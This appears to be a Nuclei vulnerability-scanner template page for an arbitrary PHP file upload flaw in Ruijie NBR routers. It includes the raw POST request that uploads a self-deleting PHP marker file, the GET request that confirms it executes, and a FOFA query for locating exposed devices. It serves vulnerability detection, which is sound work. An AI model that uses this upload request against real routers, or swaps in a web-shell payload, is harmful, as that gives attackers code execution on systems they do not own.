Ruijie NBR fileupload.php - Arbitrary File Upload

ID: ruijie-nbr-fileupload

Severity: critical

Author: SleepingBag945

Tags: ruijie,fileupload,intrusive,nbr

Description

Ruijie NBR router fileupload.php file has an arbitrary file upload vulnerability. An attacker can upload any file to the server through the vulnerability to obtain server permissions.

YAML Source

id: ruijie-nbr-fileupload

info:
  name: Ruijie NBR fileupload.php - Arbitrary File Upload
  author: SleepingBag945
  severity: critical
  description: |
    Ruijie NBR router fileupload.php file has an arbitrary file upload vulnerability. An attacker can upload any file to the server through the vulnerability to obtain server permissions.
  reference:
    - https://github.com/zan8in/afrog/blob/main/v2/pocs/afrog-pocs/vulnerability/ruijie-nbr-fileupload.yaml
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="Ruijie-NBR路由器"
  tags: ruijie,fileupload,intrusive,nbr

variables:
  filename: "{{rand_base(6)}}"
  string: "ruijie-nbr-fileupload"

http:
  - raw:
      - |
        POST /ddi/server/fileupload.php?uploadDir=upload&name={{filename}}.php HTTP/1.1
        Host: {{Hostname}}
        Accept: text/plain, */*; q=0.01
        Content-Disposition: form-data; name="file"; filename="{{filename}}.php"
        Content-Type: image/jpeg

        <?php echo md5("{{string}}");unlink(__FILE__);?>
      - |
        GET /ddi/server/upload/{{filename}}.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        part: body_2
        words:
          - '{{md5(string)}}'
# digest: 4a0a0047304502200f1af547bd8053e4edfefa17d041dd036a48a0a8d314de83194c3b598a1541c3022100c777cdb5f97c0a292e81951e428adc63b7897a18f5d78371bccc1476355cfe1e:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

$ nuclei -u "URL" -t "http/vulnerabilities/ruijie/ruijie-nbr-fileupload.yaml"

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